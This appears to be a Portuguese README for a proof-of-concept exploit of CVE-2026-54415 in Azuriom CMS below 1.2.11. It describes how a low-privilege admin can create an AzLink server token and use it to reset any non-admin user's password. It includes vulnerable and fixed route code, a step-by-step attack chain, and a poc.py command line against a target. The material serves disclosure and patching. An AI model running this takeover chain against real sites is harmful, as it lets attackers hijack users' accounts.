
PoC para CVE-2026-54415 — Azuriom CMS (<1.2.11) Controle de Acesso Quebrado → assunção de conta
A ausência de autorização nas rotas de gerenciamento de servidores do admin no Azuriom CMS < 1.2.11 permite que qualquer admin com privilégios baixos (possuindo apenas admin.access) crie um token de servidor AzLink e assuma qualquer conta não-admin.
| CVE | CVE-2026-54415 |
| Produto | Azuriom CMS |
| Afetado | < 1.2.11 |
| Corrigido em | 1.2.11 — commit 4b744bc |
| CWE | CWE-862 (Ausência de Autorização), CWE-269 (Gerenciamento de Privilégios Incorreto) |
| CVSS 3.1 | 8.1 Alta — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 Alta — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
Este PoC é publicado para fins defensivos e educacionais contra uma versão corrigida. Execute-o apenas contra sistemas que você possui ou para os quais tem autorização explícita para testar. Atualize para Azuriom
1.2.11+.
✅ Verificado ponta a ponta contra uma instância local do Azuriom 1.2.10 — bypass de controle de acesso, criação de token, alteração de senha confirmada + login da vítima e limite de proteção do admin.
Em routes/admin.php, todo o painel de admin é protegido por um único grupo can:admin.access, e espera-se que cada funcionalidade sensível adicione seu próprio middleware granular can:admin.*. Antes do 1.2.11, as rotas de gerenciamento de servidores não possuíam tal middleware:
// routes/admin.php (vulnerável, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
Qualquer usuário que consiga acessar o painel de admin (admin.access) pode, portanto, criar servidores. Não existia uma permissão admin.servers — ela não existia até a correção.
O fornecedor criou uma nova permissão admin.servers e envolveu as rotas nela:
// routes/admin.php (corrigido, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
O mesmo commit também adicionou as verificações de permissão anteriormente ausentes nas rotas de social-links e pages/posts.attachments.
Criar um servidor gera um token de servidor de 32 caracteres (app/Http/Controllers/Admin/ServerController.php):
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
Esse token autentica a API AzLink (routes/api.php), cujo middleware VerifyServerToken confia em qualquer requisição que contenha um cabeçalho Azuriom-Link-Token válido. O AzLink expõe endpoints de gerenciamento de contas:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword recusa apenas quando o alvo isAdmin() — toda conta não admin pode ser assumida:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
A criação do servidor chama $server->bridge()->verifyLink() antes de salvar. Para o tipo mc-azlink, isso é incondicionalmente verdadeiro:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
Assim, o atacante fornece qualquer address fictício, o servidor é salvo de qualquer forma, e o token novo é exibido de volta no painel dentro do comando de configuração do AzLink (/azlink setup <url> <token>).
1. Autentique-se como um admin de baixo privilégio (apenas admin.access — NÃO admin.servers, que não existia)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → servidor salvo, token criado
3. GET /admin/servers/{id}/edit → leia o token do comando de configuração
4. POST /api/azlink/password (cabeçalho Azuriom-Link-Token: <token>) game_id=<vítima>&password=<nova>
5. Faça login como a vítima → tomada total da conta
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
O script faz login, cria um token de servidor, extrai-o, redefine a senha da vítima via AzLink e exibe o token + resultado. Consulte poc.py --help para todas as opções. Requer requests (pip install requests).
1.2.11 ou superior.admin_servers e revogue quaisquer tokens de servidor inesperados.admin.access.1.2.11MIT — apenas para testes de segurança autorizados e pesquisa.